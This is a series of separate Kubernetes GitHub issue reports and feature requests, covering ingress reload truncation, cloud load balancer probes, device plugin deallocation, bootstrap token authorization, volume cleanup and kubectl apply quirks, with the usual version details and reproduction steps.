event and forwards it to buffered channel.\r 1. when a key is deleted and if it’s not a recursive watch. the channels are closed and removed from the node values.\r \r      plugin support for additional data store  \r  this section gives high level overview of interaction between api server and data store. implementation details to follow up separately \r \r current apiserver and etcd interaction is implemented as follows,\r \r ! image  https://user-images.githubusercontent.com/5009646/30938574-5405bc82-a38f-11e7-8f13-49678070f2bb.png \r \r get and watch requests from clients are served from cache if possible. if revision number is not specified then the requests gets forwarded to store which communicates with etcd.\r \r in proposed architecture, there is an additional interface named datastore to abstract the actual storage layer. apiserver should create a dynamodbmgr client to communicate with the dynamodbmgr component. dynamodbmgr client and the server communicate through grpc.\r \r following diagram explains the proposed implementation \r \r ! image  https://user-images.githubusercontent.com/5009646/30938580-5ae44884-a38f-11e7-9ca6-ddc4ea6bb3a0.png

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r this is a bug report\r   @kubernetes/sig-network-bugs\r \r   what happened  :\r we found that if you have a long request/response connection such as a chunked encoding response, the request is prematurely truncated when the ingress controller reloads the nginx configuration.\r \r   what you expected to happen  :\r we expected the connection to remain open.\r \r   how to reproduce it  as minimally and precisely as possible   :\r 1. run an upstream server with an endpoint that responds with a long-lived chunked response. for example, one chunk every second for 100 seconds. the language shouldn't matter, but i am using an elixir/phoenix app with this action\r \r        \r       def stream conn, params  do\r         conn = conn\r         |> put_resp_content_type \ text/event-stream\  \r         |> send_chunked 200 \r \r         for _ <- 1..100 do\r           :timer.sleep 1000 \r           conn |> chunk \ hello\  \r         end\r \r         conn\r       end\r        \r 2. make a request with something like\r \r         time curl --raw localhost/test/stream -h 'host: bar.gigalixir.com'\r \r 3. after a random amount of time, the connection will close and curl will print\r \r         curl:  18  transfer closed with outstanding read data remaining\r \r     you can reproduce the issue by manually running the following inside the ingress controller container and waiting 10 seconds.\r \r         nginx -s reload\r \r it appears as though the nginx worker processes drain requests for 10 seconds when reloading before cutting the connections, which in my case is not long enough.\r \r   anything else we need to know?  :\r i'm not sure what the proper fix is for this, but in my case, i am tailing logs through chunked encoding so i need the connection open basically indefinitely, but at least an hour or so.\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r        \r     client version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.2\ , \r     gitcommit:\ 922a86cfcd65915a9b2f69f3f193b8907d741d9c\ , gittreestate:\ clean\ , builddate:\ 2017-07-21t08:23:22z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r     server version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.0\ , \r     gitcommit:\ fff5156092b56e6bd60fff75aad4dc9de6b6ef37\ , gittreestate:\ clean\ , builddate:\ 2017-03-28t16:24:30z\ , goversion:\ go1.7.5\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r        \r - cloud provider or hardware configuration  :\r     gce\r - os  e.g. from /etc/os-release :\r        \r     pretty_name=\ debian gnu/linux 7  wheezy \ \r     name=\ debian gnu/linux\ \r     version_id=\ 7\ \r     version=\ 7  wheezy \ \r     id=debian\r     ansi_color=\ 1;31\ \r     home_url=\ http://www.debian.org/\ \r     support_url=\ http://www.debian.org/support/\ \r     bug_report_url=\ http://bugs.debian.org/\ \r \r        \r - kernel  e.g.  uname -a  :\r      linux kubernetes-minion-group-csn9 3.16.0-4-amd64  1 smp debian 3.16.43-2+deb8u5  2017-09-19  x86_64 gnu/linux \r - install tools:\r     i'm using kubernetes ingress controller with \r      gcr.io/google_containers/nginx-ingress-controller:0.9.0-beta.14 \r \r     it also happens with\r      gcr.io/google_containers/nginx-ingress-controller:0.9.0-beta.15 \r      gcr.io/google_containers/nginx-ingress-controller:0.9.0-beta.13 \r \r - others:\r

this is to avoid some confusion that has come up when people are reading the instructions.  see also https://github.com/cncf/k8s-conformance/pull/33/files.\r \r @williamdenniss \r \r /area conformance\r   /assign

https://github.com/kubernetes/kubernetes/blob/d837a6a2eabee7cc3ed2dce1d031a1a491d8faec/pkg/kubelet/winstats/perfcounter_nodestats.go l54\r \r using getversion   will likely be more reliable/faster/better than shelling out to ver... if you need more data than getversion you might also follow the pattern from moby https://github.com/moby/moby/blob/54251b53d7081f1471c0a2cb23fd4e198e71bd14/pkg/parsers/kernel/kernel_windows.go\r \r @kubernetes/sig-windows

is this a bug report or feature request?  :\r  /area cloudprovider\r  \r   what happened  :\r i've created a service of type  loadbalancer  in a kubernetes cluster created via the acs engine. the load balancer has been created correctly after some time and a random nodeport  at this time  32330   has been allocated. however, in the azure portal i'm seeing that the health probe of that load balancer is pointing to port  30764  which does not exist in the whole kubernetes system at all. because of that wrongly configured health probe the load balancer is not reachable  i/o timeout .\r \r   what you expected to happen  :\r the health probe would have been configured to nodeport  32330 .\r \r   how to reproduce it  as minimally and precisely as possible   :\r unfortunately, it does not behave always like this but only occasionally. in some cases the health probe gets configured correctly, but in others not. i've used the following manifest:\r    \r apiversion: v1\r kind: service\r metadata:\r   labels:\r     app: mypod\r   name: mypod\r   namespace: default\r spec:\r   ports:\r   - name: mypod\r     port: 80\r     protocol: tcp\r     targetport: 80\r   selector:\r     app: mypod\r   type: loadbalancer\r    \r \r   anything else we need to know?  :\r when updating the health probe manually to the correct nodeport in the azure portal, the load balancer starts to work properly.\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.7.5\r - cloud provider or hardware configuration: azure\r - install tools: acs engine\r - others: -

is this a bug report or feature request?  :\r \r  \r   what happened  :\r we face\r    \r warning: all flags than --config are deprecated. please begin using a config file asap.\r    \r but there is no way to generate default config file\r \r   how to reproduce it  as minimally and precisely as possible   :\r    \r kube-scheduler --write-config-to ./scheduler.conf\r error: unknown flag: --write-config-to\r    \r \r   environment  :\r - kubernetes version 1.9.2\r

is this a bug report or feature request?  :\r \r   /area hw-accelerators\r \r   what happened  :\r at the moment device plugin apis are handling only  allocate  stage.\r device plugins are not aware and not receiving events when pod/containers are stopping using particular device.\r \r   what you expected to happen  :\r we need to have  deallocate  part of the api, even were for many devices that are currently in use it will be no-op stub. \r \r reasons and usage scenarios for  deallocate :\r \r - power management: in case of accelerators that are not always depending on controlling process from userland side  e.g. fpga which has external network/gpio interfaces  it is possible that after stopping of pod where device was initially allocated, accelerator part of the code will be still processing data on external interfaces and consume significant amount of power. as we don't know when it will be next time allocated, it will be better to reset accelerator device and put it into power saving mode immediately after workload that requested it is terminated.\r - security: hw-accelerators often have internal memory and processing data not always cleared after processing. doing reset/memory clean-up on next  allocate  call means that between two points of time  termination of workload and next  allocate   some confidential information can be still present on the device  e.g. ipsec encryption keys, for crypto accelerators . it is better to have ability to cleanup device memory as soon as workload that requested it finishes.\r \r \r   how to reproduce it  as minimally and precisely as possible   :\r \r   anything else we need to know?  :\r cc: @renaudwastaken @ns-sundar @sameo \r

- hostname, but dns can flake - ip, not very user friendly, _might_ change on cloud providers when a vm restarts  internal ip can't though?  - machine id was brought up on https://github.com/googlecloudplatform/kubernetes/issues/6499, though we still need something over the network.  we currently identify nodes by hostname and they're used pretty much everywhere  kubectl, pod.host, curl healthz, static podnames . one option is to split the concept of a node id from a kubelet name, the latter being a globally unique kubernetes name that doesn't even have to resolve, another is to just give up when dns fails  though machine generated dns names aren't very user friendly either .  @thockin

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line:\r >\r  >  \r   what happened  :\r  56829 patched out the size field  was added pr  58685 , it will cause issue  66687 again.\r see also  9326e84 diff-c6603a39b8f63223075a6ac640bd6ef9r235  https://github.com/kubernetes/kubernetes/commit/9326e845e48e2cc61f57094bd7561e37fb831ce5 diff-c6603a39b8f63223075a6ac640bd6ef9r235  and  66687.\r \r   what you expected to happen  :\r pvc resizes of cinder volumes successfully.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

when using kubernetes on platforms like coreos where additional commands can hardly be installed it's hard to get storage plugins working  see  17344 for examples . please replace the dependency on the \ rbd\  command by using the sysfs kernel interface provided by rbd.ko. some documententation is provided at http://docs.ceph.com/docs/argonaut/rbd/rbd-ko/. if you don't want to completely remove \ rbd\  support a fallback to using the sysfs interface at least.

bug report      kubernetes version    use  kubectl version  : v1.3.2    environment  : -   cloud provider or hardware configuration  : openstack -   os    e.g. from /etc/os-release : ubuntu 14.04 -   kernel    e.g.  uname -a  : 3.13.0-71-generic -   install tools  : ansible -   others  : lbaas v1    what happened  : when lbaas v1 is used, after service delete request, kubernetes fails to delete loadbalancer pool and its members, that were associated with the service:  > servicecontroller.go:201  failed to process service delta. retrying in 5s: expected http response code  202 204  when accessing  delete https://neutron.example.com/v2.0/lb/pools/50f4be7b-ad5c-4691-8d9e-8af6c77846a3 , but got 409 instead > {\ neutronerror\ : {\ message\ : \ pool 50f4be7b-ad5c-4691-8d9e-8af6c77846a3 is still in use\ , \ type\ : \ poolinuse\ , \ detail\ : \ \ }}  it seems that   lb  lbaasv1  ensureloadbalancerdeleted    in pkg/cloudprovider/providers/openstack/openstack_loadbalancer.go:944 only deletes monitors before trying to delete pool. since pool members still exist, pool fails to be deleted. and since there are no attempts to delete members, pool and its members left undeleted forever after service was removed.    what you expected to happen  : all members, monitors and pool associated with the service to be deleted.    how to reproduce it    as minimally and precisely as possible :  kubectl expose deployments my-nginx --type=loadbalancer   kubectl delete svc my-nginx

in the persistent volumes documentation   https://kubernetes.io/docs/user-guide/persistent-volumes/ provisioner   , it explicitly calls out aws-ebs and gce-pd as the only supported provisioners:\r > during beta, the available provisioner types are kubernetes.io/aws-ebs and kubernetes.io/gce-pd\r \r however, there are examples for openstack/cinder that reference v1beta:\r https://github.com/kubernetes/kubernetes/blob/master/cluster/addons/storage-class/openstack/default.yaml\r \r is the documentation still correct or does it need to be updated?

there have been a number of reported instances of cloud provider services becoming unresponsive and this causing adverse affects in kubernetes.  if the cloud provider api is unresponsive, it could prevent the node from reporting node/pod status to the apiserver.  if this happens for too long, the node will be marked notready even though the kubelet is actually running without any issues.\r \r i don't think we want to prevent a node or pod update because the cloud provider api has become unresponsive.  we should try to ensure a node only gets marked notready if it is truly incapable of operating.\r \r xref:  43516  46602  46340\r \r @dchen1107 @kubernetes/sig-node-bugs

more discussion here https://github.com/openshift/origin/issues/16112\r \r we've observed in most normal clusters the watch cache is only effective on some resources, and on dense clusters it is unnecessary on most resources.  for our density slo we may actually prefer to waste less memory on the masters on the watch cache except for certain high  n x c x w  resources   n umber of resources, number of  c lients,  w rite rate  like pods, nodes, and endpoints.\r \r issue repurposed as well to cover duplicate watch caches found.

is this a bug report or feature request?  :\r  \r   what happened  :\r i ran  kubectl auth reconcile  on a yaml i have that contains the following snippet:\r \r    yaml\r ...\r ---\r apiversion: apiregistration.k8s.io/v1beta1\r kind: apiservice\r metadata:\r   name: v1beta1.metrics.k8s.io\r spec:\r   service:\r     name: metrics-server\r     namespace: kube-system\r   group: metrics.k8s.io\r   version: v1beta1\r   insecureskiptlsverify: true\r   grouppriorityminimum: 100\r   versionpriority: 100\r    \r error: unable to decode \ stdin\ : no kind \ apiservice\  is registered for version \ apiregistration.k8s.io/v1beta1\ \r \r   what you expected to happen  :\r nothing on that specific part, but a reconcile on the roles above the ---  redacted from this post \r \r   how to reproduce it  as minimally and precisely as possible   :\r  kubectl auth reconcile  -f  <file or stdin containing apiservice above> \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r client version: version.info{major:\ 1\ , minor:\ 8\ , gitversion:\ v1.8.3\ , gitcommit:\ f0efb3cb883751c5ffdbe6d515f3cb4fbe7b7acd\ , gittreestate:\ clean\ , builddate:\ 2017-11-08t18:39:33z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 8\ , gitversion:\ v1.8.3\ , gitcommit:\ f0efb3cb883751c5ffdbe6d515f3cb4fbe7b7acd\ , gittreestate:\ clean\ , builddate:\ 2017-11-08t18:27:48z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r - cloud provider or hardware configuration:\r vm's in kvm\r - os  e.g. from /etc/os-release :\r container linux by coreos stable  1520.8.0 \r - kernel  e.g.  uname -a  :\r linux 4.13.9-coreos  1 smp thu oct 26 03:21:00 utc 2017 x86_64 common kvm processor genuineintel gnu/linux\r - install tools:\r - others:\r

add a new column under  -o wide  output that displays any taints that have been added to a node.\r \r    \r name        status    roles     age       version              taints\r localhost   ready     <none>    18h       v1.9.1+a0ce1bc657    noschedule: key1=value1\r    \r \r  \r cc @soltysh @mfojtik

is this a bug report or feature request?  : bug report\r \r  \r   what happened  : the bootstrap token is validated but kube-apiserver is denying csrs with an empty reason: \r \r    \r apr 14 16:38:37 k8scontroller2 kube-apiserver 47830 : i0414 16:38:37.124286   47830 authorization.go:60  forbidden: \ /apis/certificates.k8s.io/v1beta1/certificatesigningrequests\ , reason: \ \ \r    \r \r on the kubelet:\r    \r apr 14 16:38:37 node1 kubelet 43732 : i0414 16:38:37.058572   43732 bootstrap.go:58  using bootstrap kubeconfig to generate tls client cert, key and kubeconfig file\r apr 14 16:38:37 node1 kubelet 43732 : f0414 16:38:37.127290   43732 server.go:233  failed to run kubelet: cannot create certificate signing request: certificatesigningrequests.certificates.k8s.io is forbidden: user \ system:bootstrap:4dfd2f\  cannot create certificatesigningrequests.certificates.k8s.io at the cluster scope\r    \r \r   what you expected to happen  : i'm using  bootstrap tokens  https://kubernetes.io/docs/admin/bootstrap-tokens/  to join nodes to a cluster. rbac roles and bootstrap secret are configured on the api server, and kubelet is configured to bootstrap. \r \r   how to reproduce it  as minimally and precisely as possible   :\r \r relevant rbac role on api server:\r    yaml\r apiversion: rbac.authorization.k8s.io/v1\r kind: clusterrolebinding\r metadata:\r   name: kubeadm:node-autoapprove-bootstrap\r roleref:\r   apigroup: rbac.authorization.k8s.io\r   kind: clusterrole\r   name: system:certificates.k8s.io:certificatesigningrequests:nodeclient\r subjects:\r - kind: group\r   name: system:bootstrappers:kubeadm:default-node-token\r    \r bootstrap secret:\r    yaml\r apiversion: v1\r kind: secret\r metadata:\r   name: bootstrap-token-4dfd2f\r   namespace: kube-system\r \r type: bootstrap.kubernetes.io/token\r stringdata:\r   description: \ the default bootstrap token generated by 'kubeadm init'.\ \r   token-id: 4dfd2f\r   token-secret: 27b420c2b58982c3\r \r   usage-bootstrap-authentication: \ true\ \r   usage-bootstrap-signing: \ true\ \r \r   auth-extra-groups: system:bootstrappers:worker,system:bootstrappers:ingress\r    \r \r kubelet bootstrap config:\r    yaml\r apiversion: v1\r clusters:\r - cluster:\r     certificate-authority-data: ls0tls1cr ...\r     server: https://10.0.128.250:6443\r   name: kubernetes\r contexts:\r - context:\r     cluster: kubernetes\r     user: tls-bootstrap-token-user\r   name: default\r current-context: default\r kind: config\r preferences: {}\r users:\r - name: tls-bootstrap-token-user\r   user:\r     token: 4dfd2f.27b420c2b58982c3\r    \r \r \r \r   anything else we need to know?  :\r \r   environment  : linux\r - kubernetes version  use  kubectl version  : v1.10.1\r - cloud provider or hardware configuration: azure\r - os  e.g. from /etc/os-release : ubuntu 17.10\r - kernel  e.g.  uname -a  :  linux k8scontroller2 4.13.0-38-generic  43-ubuntu smp wed mar 14 15:20:44 utc 2018 x86_64 x86_64 x86_64 gnu/linux \r - install tools: manual  with terraform \r - others:\r

 \r   what happened:  \r the node 1 in the cluster lost network connection with the node 2 which contains glusterfs node with some distributed volume. at the same time node 2 received request to delete this volume  delete workload: pod + pvc . \r after some time connection was restored between node 1 and node 2. \r kubelet tries remove pod and can't complete this opperation becouse pvc and volume in glusterfs is already removed.\r \r    \r cannot access '/var/lib/kubelet/pods/41e1014f-7a38-11e8-abcc-0cc47abc36e8/volume-subpaths/pvc-320bf89f-7a38-11e8-a7db-00259097cf2c/test-volumes-mounted-3-wordpress/0': transport endpoint is not connected\r    \r \r    \r root@node1:/  mount | grep 41e1014f-7a38-11e8-abcc-0cc47abc36e8\r 10.0.0.4:vol_17bc1a7e5a80f706dd03da2bfd02e973 on /var/lib/kubelet/pods/41e1014f-7a38-11e8-abcc-0cc47abc36e8/volumes/kubernetes.io~glusterfs/pvc-320bf89f-7a38-11e8-a7db-00259097cf2c type fuse.glusterfs  rw,relatime,user_id=0,group_id=0,default_permissions,allow_other,max_read=131072 \r 10.0.0.4:vol_17bc1a7e5a80f706dd03da2bfd02e973 on /var/lib/kubelet/pods/41e1014f-7a38-11e8-abcc-0cc47abc36e8/volume-subpaths/pvc-320bf89f-7a38-11e8-a7db-00259097cf2c/test-volumes-mounted-3-wordpress/0 type fuse.glusterfs  rw,relatime,user_id=0,group_id=0,default_permissions,allow_other,max_read=131072 \r 10.0.0.4:vol_17bc1a7e5a80f706dd03da2bfd02e973 on /var/lib/kubelet/pods/41e1014f-7a38-11e8-abcc-0cc47abc36e8/volume-subpaths/pvc-320bf89f-7a38-11e8-a7db-00259097cf2c/test-volumes-mounted-3-wordpress/1 type fuse.glusterfs  rw,relatime,user_id=0,group_id=0,default_permissions,allow_other,max_read=131072 \r 10.0.0.4:vol_17bc1a7e5a80f706dd03da2bfd02e973 on /var/lib/kubelet/pods/41e1014f-7a38-11e8-abcc-0cc47abc36e8/volume-subpaths/pvc-320bf89f-7a38-11e8-a7db-00259097cf2c/test-volumes-mounted-3-wordpress/2 type fuse.glusterfs  rw,relatime,user_id=0,group_id=0,default_permissions,allow_other,max_read=131072 \r    \r \r when kubelet reads sub-paths: \r \r > subpaths, err := ioutil.readdir fullcontainerdirpath \r \r an error occurs: transport endpoint is not connected\r and the pod remain in the terminating status and never will be deleted.\r \r https://github.com/kubernetes/kubernetes/blob/v1.10.4/pkg/util/mount/mount_linux.go l854\r    \r     // scan /var/lib/kubelet/pods/<uid>/volume-subpaths/<volume>/<container name>/ \r     fullcontainerdirpath := filepath.join subpathdir, containerdir.name   \r     subpaths, err := ioutil.readdir fullcontainerdirpath \r     if err != nil {\r       return fmt.errorf \ error reading %s: %s\ , fullcontainerdirpath, err \r     }\r    \r \r   environment  :\r - kubernetes version: v1.10.4\r - os: container linux by coreos 1745.7.0  rhyolite \r - kernel: linux node1 4.14.48-coreos-r2  1 smp thu jun 14 08:23:03 utc 2018 x86_64 intel r  xeon r  cpu e5-2620 v2 @ 2.10ghz genuineintel gnu/linux\r

<!-- please only use this template for submitting enhancement requests -->\r \r   what would you like to be added  :\r \r     kubectl wait some-resource --for=delete \r \r should not fail with \ notfound\ , if resource already has successfully been deleted.\r \r   why is this needed  :\r \r it is hard to reliably wait for an async deletion of a resource otherwise, because it may randomly fail, if the deletion is fast enough.\r \r <!-- do not edit below this line -->\r 

what happened  :\r pod enters  terminating  state and containers get deleted even if finalizers still exist on pod.\r \r   what you expected to happen  :\r pods should stay in  running  state and containers should stay up while finalizers still exist on pod.\r \r   how to reproduce it  as minimally and precisely as possible   :\r    console\r $ kubectl apply -f- <<eof\r apiversion: v1\r kind: pod\r metadata:\r   name: finalizer-pod\r   finalizers:\r     - test.example.com/my-finalizer\r spec:\r   containers:\r   - name: nginx\r     image: nginx\r eof\r $ kubectl delete pod finalizer-pod --timeout 1s\r pod \ finalizer-pod\  deleted\r $ kubectl get pod\r name            ready     status        restarts   age\r finalizer-pod   0/1       terminating   0          74s\r    \r \r   anything else we need to know?  :\r we need this in order to do gracefull failovers when pods get deleted. we cannot use container lifecycle hooks because we need to coordinate the failover across containers and pods. \r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r client version: version.info{major:\ \ , minor:\ \ , gitversion:\ v0.0.0-master+$format:%h$\ , gitcommit:\ 10ecc6db83fd47a93eb0940e2e4434f2b0a5c3ec\ , gittreestate:\ clean\ , builddate:\ 2018-08-15t21:23:47z\ , goversion:\ go1.10.2\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 13\ , gitversion:\ v1.13.0\ , gitcommit:\ ddf47ac13c1a9483ea035a79cd7c10005ff21a6d\ , gittreestate:\ clean\ , builddate:\ 2018-12-03t20:56:12z\ , goversion:\ go1.11.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - cloud provider or hardware configuration:  docker for mac \r - os  e.g. from /etc/os-release :\r    \r pretty_name=\ docker desktop\ \r    \r - kernel  e.g.  uname -a  :\r    \r linux e10fa4332909 4.9.125-linuxkit  1 smp fri sep 7 08:20:28 utc 2018 x86_64 gnu/linux\r    \r

kube-proxy contains a comment that \ all flags below are deprecated\ , but many non-deprecated flags are in that comment block.\r \r https://github.com/kubernetes/kubernetes/blob/48848731605845c129945f1de146507ca2e5d8cb/cmd/kube-proxy/app/server.go l149\r \r please minimally rearrange the flags, so that deprecated & non-deprecated flags are properly grouped.

36555 was fixed by the combination of  37322 and @xiang90 creating a special build linked against both 2.x and 3.x wal packages.\r \r i'm not sure how @xiang90 did the build, but we need to be able to build it automatically from source.\r \r assigning to @xiang90 for now, but i am willing to help with the build details.

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r we are computing the taints on node from node spec, every time in taints_tolerations at\r \r https://github.com/kubernetes/kubernetes/blob/master/plugin/pkg/scheduler/algorithm/priorities/taint_toleration.go l71\r \r instead we can use node info cache's taints field for faster lookup.\r \r https://github.com/kubernetes/kubernetes/blob/master/plugin/pkg/scheduler/schedulercache/node_info.go l53\r

$ kubectl version\r client version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.0\ , gitcommit:\ fff5156092b56e6bd60fff75aad4dc9de6b6ef37\ , gittreestate:\ clean\ , builddate:\ 2017-03-28t16:36:33z\ , goversion:\ go1.7.5\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.0\ , gitcommit:\ fff5156092b56e6bd60fff75aad4dc9de6b6ef37\ , gittreestate:\ clean\ , builddate:\ 2017-03-28t16:24:30z\ , goversion:\ go1.7.5\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r \r \r how to try to be scattered on a different host with the specified label？set scheduler policy  or node affinity，but these two methods seem to be incompetent。please give some advise，thanks。\r \r \r \r \r

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see http://kubernetes.io/docs/troubleshooting/. :\r \r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. :\r testnestedobject, embeddedtest.object\r ---\r \r   is this a bug report or feature request?    choose one :\r bug report\r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r \r   kubernetes version    use  kubectl version  :\r master branch \r \r   environment  :\r -   cloud provider or hardware configuration  :\r -   os    e.g. from /etc/os-release :\r sles 12\r -   kernel    e.g.  uname -a  :\r linux pts00449-vm23 3.12.28-4-default  1 smp thu sep 25 17:02:34 utc 2014  9879bd4  ppc64le ppc64le ppc64le gnu/linux\r -   install tools  :\r -   others  :\r \r \r   what happened  :\r make test what=\ ./vendor/k8s.io/apimachinery/pkg/runtime\ \r running tests for apiversion: v1,apps/v1beta1,authentication.k8s.io/v1,authentication.k8s.io/v1beta1,authorization.k8s.io/v1,authorization.k8s.io/v1beta1,autoscaling/v1,autoscaling/v2alpha1,batch/v1,batch/v2alpha1,certificates.k8s.io/v1beta1,extensions/v1beta1,imagepolicy.k8s.io/v1alpha1,policy/v1beta1,rbac.authorization.k8s.io/v1beta1,rbac.authorization.k8s.io/v1alpha1,settings.k8s.io/v1alpha1,storage.k8s.io/v1beta1,storage.k8s.io/v1,federation/v1beta1\r +++  0404 11:28:47  running tests without code coverage\r --- fail: testnestedobject  0.00s \r         embedded_test.go:200: wire format is:\r                 {\ apiversion\ :\ test.group/v1test\ ,\ kind\ :\ embeddedtest\ ,\ id\ :\ outer\ ,\ object\ :{\ apiversion\ :\ test.group/v1test\ ,\ kind\ :\ embeddedtest\ ,\ id\ :\ inner\ ,\ object\ :null,\ emptyobject\ :null},\ emptyobject\ :null}\r \r         embedded_test.go:244: unexpected decode error json: cannot unmarshal object into go struct field embeddedtest.object of type runtime.object\r fail\r fail    k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/runtime        0.092s\r makefile:164: recipe for target 'test' failed\r make:      test  error 1\r \r test case failed\r   what you expected to happen  :\r test case should pass\r \r   how to reproduce it    as minimally and precisely as possible :\r make test what=\ ./vendor/k8s.io/apimachinery/pkg/runtime\ \r \r   anything else we need to know  :\r \r

ref: https://k8s-testgrid.appspot.com/kubernetes-presubmits pull-kubernetes-e2e-kops-aws\r \r the test \ garbage collector should delete jobs and pods created by cronjob\  is failing continuously with:\r \r    \r i0831 02:54:25.154  aug 31 02:54:10.012: info: failed to delete the cronjob: the server could not find the requested resource\r    \r \r cc @k8s-oncall @kubernetes/sig-aws-misc @kubernetes/test-infra-maintainers

feature request  :\r \r >\r >  \r \r   what happened  :\r apply returns conflicterror in primitive element merge if a field conflicts in remote and recorded values. the error message contains conflict meta data of primitive element's remote and recorded field value. e.g. \r    \r \ conflict detected, recorded value  image1  and remote value  image3 \ \r    \r \r   what you expected to happen  :\r conflicterror message should contains field path of element where conflict happens, which is much helpful for cli user debug. e.g.\r     \r \ conflict detected in path: spec.template.spec.containers 0 .image, recorded value: image1, remote value: image3\ \r    \r   how to reproduce it  as minimally and precisely as possible   :\r a list field    element  in conflicterror can be used to store the elements in the path. a primitive element will be used for initializing the conflicterror and be set as the first element in list. when error returns from  hasconflict    recursive call, the current element node will be appended to the list of returned error. error   method constructs path filed and conflict value based the nodes in element list, and presents the string format.\r \r code example:\r    go\r type conflicterror struct {\r     path   element\r     ....\r }\r \r func  c  conflicterror  withpath e element   conflicterror {\r       c.path = append c.path, e \r       return c\r }\r \r func  c  conflicterror  error   string {\r      // construct structured conflict field path string based on   element \r }\r \r // example usage in listelement represented by object e :\r ...\r \tif err := item.hasconflict  ; err != nil {\r \t\treturn err. conflicterror .withpath e \r \t}\r ...\r \r    \r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.10\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

  \r   what happened  :\r kubernetes continues with mounting of non-attached volume when csi driver fails to attach a volume to a node.\r \r errors from the csi driver  and external attacher  are just logged, but plugin.attach   returns no error and a/d controller thinks that everything's all right and the volume was attached.\r \r   how to reproduce it  as minimally and precisely as possible   :\r i forgot to run csi registrar on a node and external attacher returned  node \ host-172-16-120-15\  has no nodeid annotation  in  volumeattachment.status .\r \r this got propagated to csi volume plugin in a/d controller, but the plugin just logged it:\r \r    \r e0430 14:56:34.581627       1 csi_attacher.go:112  kubernetes.io/csi: attacher.attach attempted to wait for attachment to be ready, but failed with: node \ host-172-16-120-15\  has no nodeid annotation\r i0430 14:56:34.581773       1 csi_attacher.go:115  kubernetes.io/csi: attacher.attach finished ok with volumeattachment verified=false: attachment object  csi-135496b4c1ffbdb344c2fc649ddaae9e87413ccfca2c4b94af58fdb9ccd4bcd2 \r    \r \r the volume got marked as attached and kubeletet tried to mount non-existing volume.\r \r   anything else we need to know?  :\r kubernetes v1.10.0+b81c8f8\r

 \r when deploying a statefulset, i included a pvc that specified  2048gi  for the storage capacity.  kubectl apply  worked perfectly. running  kubectl apply  again without making any changes failed with the error:\r \r    \r the statefulset \ ss\  is invalid: spec: forbidden: updates to statefulset spec for fields other than 'replicas', 'template', and 'updatestrategy' are forbidden.\r    \r \r after comparing the server-side yaml to my original, i noticed that it had changed the storage capacity of my pvc to  2ti . changing my original from  2048gi  to  2ti  allowed me to then successfully run  kubectl apply .\r \r there is clearly a string representation being used to compare those changes rather than converting to bytes and comparing the numeric representation.\r \r   how to reproduce it  as minimally and precisely as possible   :\r    \r   volumeclaimtemplates:\r   - metadata:\r       name: data\r     spec:\r       accessmodes:   \ readwriteonce\   \r       resources:\r         requests:\r           storage: 2048gi\r    \r \r   environment  :\r - kubernetes version  use  kubectl version  : \r client version: version.info{major:\ 1\ , minor:\ 11\ , gitversion:\ v1.11.0\ , gitcommit:\ 91e7b4fd31fcd3d5f436da26c980becec37ceefe\ , gittreestate:\ clean\ , builddate:\ 2018-06-27t22:29:25z\ , goversion:\ go1.10.3\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 10\ , gitversion:\ v1.10.5\ , gitcommit:\ 32ac1c9073b132b8ba18aa830f46b77dcceb0723\ , gittreestate:\ clean\ , builddate:\ 2018-06-21t11:34:22z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r - cloud provider or hardware configuration: azure aks\r

